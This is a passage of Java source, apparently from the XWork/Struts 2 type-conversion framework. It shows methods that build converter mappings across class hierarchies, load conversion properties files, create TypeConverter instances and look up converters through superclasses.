                                    mapping.put(key, Thread.currentThread().getContextClassLoader().loadClass(tc.converter()));
                                }
                            }
                        } catch (Exception e) {
                        }
                    }
                }
            }
        }
    }

    /**
     * Looks for converter mappings for the specified class, traversing up its class hierarchy and interfaces and adding
     * any additional mappings it may find.  Mappings lower in the hierarchy have priority over those higher in the
     * hierarcy.
     *
     * @param clazz the class to look for converter mappings for
     * @return the converter mappings
     */
    protected Map<String, Object> buildConverterMapping(Class clazz) throws Exception {
        Map<String, Object> mapping = new HashMap<String, Object>();

        // check for conversion mapping associated with super classes and any implemented interfaces
        Class curClazz = clazz;

        while (!curClazz.equals(Object.class)) {
            // add current class' mappings
            addConverterMapping(mapping, curClazz);

            // check interfaces' mappings
            Class[] interfaces = curClazz.getInterfaces();

            for (Class anInterface : interfaces) {
                addConverterMapping(mapping, anInterface);
            }

            curClazz = curClazz.getSuperclass();
        }

        if (mapping.size() > 0) {
            mappings.put(clazz, mapping);
        } else {
            noMapping.add(clazz);
        }

        return mapping;
    }

    private Map<String, Object> conditionalReload(Class clazz, Map<String, Object> oldValues) throws Exception {
        Map<String, Object> mapping = oldValues;

        if (FileManager.isReloadingConfigs()) {
            if (FileManager.fileNeedsReloading(buildConverterFilename(clazz), clazz)) {
                mapping = buildConverterMapping(clazz);
            }
        }

        return mapping;
    }

    TypeConverter createTypeConverter(String className) throws Exception {
        // type converters are used across users
        Object obj = objectFactory.buildBean(className, null);
        if (obj instanceof TypeConverter) {
            return (TypeConverter) obj;

            // For backwards compatibility
        } else if (obj instanceof ognl.TypeConverter) {
            return new XWorkTypeConverterWrapper((ognl.TypeConverter) obj);
        } else {
            throw new IllegalArgumentException("Type converter class " + obj.getClass() + " doesn't implement com.opensymphony.xwork2.conversion.TypeConverter");
        }
    }

    public void loadConversionProperties(String propsName) {
        loadConversionProperties(propsName, false);
    }

    public void loadConversionProperties(String propsName, boolean require) {
        try {
            Iterator<URL> resources = ClassLoaderUtil.getResources(propsName, getClass(), true);
            while (resources.hasNext()) {
                URL url = resources.next();
                Properties props = new Properties();
                props.load(url.openStream());

                if (LOG.isDebugEnabled()) {
                    LOG.debug("processing conversion file [" + propsName + "]");
                }

                for (Object o : props.entrySet()) {
                    Map.Entry entry = (Map.Entry) o;
                    String key = (String) entry.getKey();

                    try {
                        TypeConverter _typeConverter = createTypeConverter((String) entry.getValue());
                        if (LOG.isDebugEnabled()) {
                            LOG.debug("\t" + key + ":" + entry.getValue() + " [treated as TypeConverter " + _typeConverter + "]");
                        }
                        defaultMappings.put(key, _typeConverter);
                    } catch (Exception e) {
                        LOG.error("Conversion registration error", e);
                    }
                }
            }
        } catch (IOException ex) {
            if (require) {
                throw new XWorkException("Cannot load conversion properties file: "+propsName, ex);
            } else {
                LOG.debug("Cannot load conversion properties file: "+propsName, ex);
            }
        }
    }

    /**
     * Recurses through a class' interfaces and class hierarchy looking for a TypeConverter in the default mapping that
     * can handle the specified class.
     *
     * @param clazz the class the TypeConverter must handle
     * @return a TypeConverter to handle the specified class or null if none can be found
     */
    TypeConverter lookupSuper(Class clazz) {
        TypeConverter result = null;

        if (clazz != null) {
            result = defaultMappings.get(clazz.getName());

            if (result == null) {
                // Looks for direct interfaces (depth = 1 )
                Class[] interfaces = clazz.getInterfaces();

                for (Class anInterface : interfaces) {
                    if (defaultMappings.containsKey(anInterface.getName())) {
                        result = (TypeConverter) defaultMappings.get(anInterface.getName());
                        break;
                    }
                }

                if (result == null) {
                    // Looks for the superclass
                    // If 'clazz' is the Object class, an interface, a primitive type or void then clazz.getSuperClass() returns null
                    result = lookupSuper(clazz.getSuperclass());
                }
            }
        }

        return result;
    }


}